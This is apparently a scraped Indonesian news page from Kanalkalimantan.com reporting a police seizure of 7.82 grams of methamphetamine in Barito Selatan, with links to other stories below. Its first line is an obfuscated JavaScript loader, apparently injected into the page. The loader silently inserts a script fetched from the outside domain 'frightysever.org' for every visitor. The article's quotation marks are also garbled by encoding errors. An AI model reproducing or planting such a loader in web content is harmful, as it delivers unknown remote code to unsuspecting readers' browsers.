(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BUNTOK, Satuan Narkoba Polres Barsel berhasil mengamankan sabu 7,82 gram dari rumah MT milik A di desa Ugang Sayu Km 21, Kecamatan Gunung Bintang Awai, Selasa (2/7) malam.
Kasat Narkoba Iptu Sanip SH mengatakan, penangkapan sabu yang dimiliki A, pria 36 tahun ini berdasarkan informasi warga sekitar.
Masih kata Sanip, berdasarkan informasi tersebut pihaknya dibantu Unit Buser Reskrim Barsel langsung menuju lokasi untuk lakukan tindakan dengan memeriksa rumah A.
“Setelah kita telusuri akhirnya A kita dapati memiliki sabu sebanyak 7,82 gram,†kata Sanip kepada Kanalkalimantan.com, Rabu (3/7).
Dijelaskan olehnya saat melakukan penggeledahan pihaknya juga memanggil beberapa saksi antara lain ketua RT dan RW setempat. Saat dilakukan penggeledahan barang haram tersebut ditemukan di dalam dompet warna hijau dimasukan dalam sepatu perempuan dan disimpan di rak sepatu.
“Jadi sabu 7,82 gram itu kita dapat dalam dompet warna hijau di masukan dalam sepatu perempuan dan disimpan dalam rak sepatu,†ungkap Sanip.
Ia juga mengatakan, A sebagai terlapor membenarkan barang berupa sabu tersebut diambil dari Ampah, wilayah Kabupaten Bartim akan dijual ke daerah desa Patas.
“Jadi si A mengakui barang itu miliknya, baru diambil di Ampah dan akan dijual kembali di desa Patas,†ujar Sanip. Tersangka A juga mengakui mengenal barang haram mulai saat masih sekolah SMA yang kadang-kadang menggunakanya.
“Pelaku juga mengakui kalau sudah menggunakan Narkotika jenis sabu sejak SMA. Katanya untuk aktivitas kerja akan selalu tahan dan tidah cepat lelah,†beber Sanip.
Ditambahkan olehnya untuk saat ini A beserta barang bukti berupa dompet warna hijau, timbangan digital, sedotan, pipet kaca, sepatu wanita warna biru dan paket dengan berat kotor sekira 7,82 gram telah diamankan di Polres Barsel.
“Sementara untuk A akan dikenakan melanggar pasal 112 Ayat (2) dan atau pasal 114 Ayat (2) UU no 35 tahun 2009 tebtang Narkotika,†tandas Sanip. (digdo)
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.